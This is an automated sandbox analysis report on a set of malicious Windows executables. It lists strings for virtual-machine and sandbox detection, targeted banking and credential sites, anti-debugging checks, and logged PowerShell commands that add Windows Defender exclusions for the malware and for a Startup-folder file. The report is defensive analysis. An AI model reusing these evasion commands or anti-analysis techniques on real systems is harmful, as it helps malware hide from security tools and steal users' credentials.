Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	Binary or memory string: VMware
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 8ZVMneG.exe, 00000054.00000003.2855490100.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2591687772.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2986166870.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2601233115.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2641077930.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DFF8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2537129441.000001FA2DFF1000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2491526222.000001FA2DFF9000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000002.2619297587.0000015F4B90E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616665075.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: m9sfEU9.exe, 00000051.00000003.2645107940.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: FuturreApp.exe, 00000055.00000002.7284709155.00000000050D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvcZ
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: 8ZVMneG.exe, 00000054.00000003.2855490100.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvcZ
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000059.00000002.2798355053.0000000000889000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer6
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2213884609.0000000000C04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 00000046.00000003.2617329269.0000015F4B921000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616665075.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616610537.0000015F4B91F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxserviceZ
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer6Z
Source: D1UL0FG.exe, 00000006.00000003.2806746035.000001FA2E72F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2806746035.000001FA2E772000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2806171979.000001FA2E5B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: skotes.exe, 00000003.00000002.7284592983.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@F1
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: m9sfEU9.exe, 00000051.00000003.2645107940.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: getmac.exe, 00000046.00000003.2617329269.0000015F4B921000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616610537.0000015F4B91F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: getmac.exe, 00000046.00000002.2619297587.0000015F4B90E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616665075.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616812229.0000015F4B90D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAW
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuserZ
Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-gaZ
Source: getmac.exe, 00000046.00000003.2617329269.0000015F4B921000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B900000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616610537.0000015F4B91F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: FuturreApp.exe, 00000055.00000002.7288711538.000000006BD70000.00000002.00000001.01000000.00000027.sdmp	Binary or memory string: VMWare
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: getmac.exe, 00000046.00000003.2616665075.0000015F4B8EE000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2616200120.0000015F4B8DB000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000003.2617043696.0000015F4B8EF000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000046.00000002.2618217490.0000015F4B8EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ssubkeyname"system\currentcontrolset\services\hyper-v\linkage"
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretrayZ
Source: file.exe, 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000059.00000002.2798355053.0000000000889000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: d0ef52de9f.exe, 0000005F.00000003.2853107923.00000000037CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AC069B rdtsc

0_2_04AC069B

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Code function: 5_2_00007FF67AEDD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_00007FF67AEDD19C

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Code function: 6_2_00007FF8A8AA6EE0 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

6_2_00007FF8A8AA6EE0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0029652B mov eax, dword ptr fs:[00000030h]	0_2_0029652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0029A302 mov eax, dword ptr fs:[00000030h]	0_2_0029A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006CA302 mov eax, dword ptr fs:[00000030h]	2_2_006CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006C652B mov eax, dword ptr fs:[00000030h]	2_2_006C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006CA302 mov eax, dword ptr fs:[00000030h]	3_2_006CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006C652B mov eax, dword ptr fs:[00000030h]	3_2_006C652B

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Code function: 5_2_00007FF67AEF34F0 GetProcessHeap,

5_2_00007FF67AEF34F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEDD37C SetUnhandledExceptionFilter,	5_2_00007FF67AEDD37C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEDD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF67AEDD19C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEDC910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF67AEDC910
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 5_2_00007FF67AEEA684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF67AEEA684
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEDD37C SetUnhandledExceptionFilter,	6_2_00007FF67AEDD37C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEDD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF67AEDD19C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEDC910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF67AEDC910
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF67AEEA684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF67AEEA684
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8633028 IsProcessorFeaturePresent,00007FF8BFB919A0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FF8BFB919A0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF8A8633028
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8755A24 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF8A8755A24
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8B90E42B0 IsProcessorFeaturePresent,00007FF8BFB919A0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FF8BFB919A0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF8B90E42B0

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

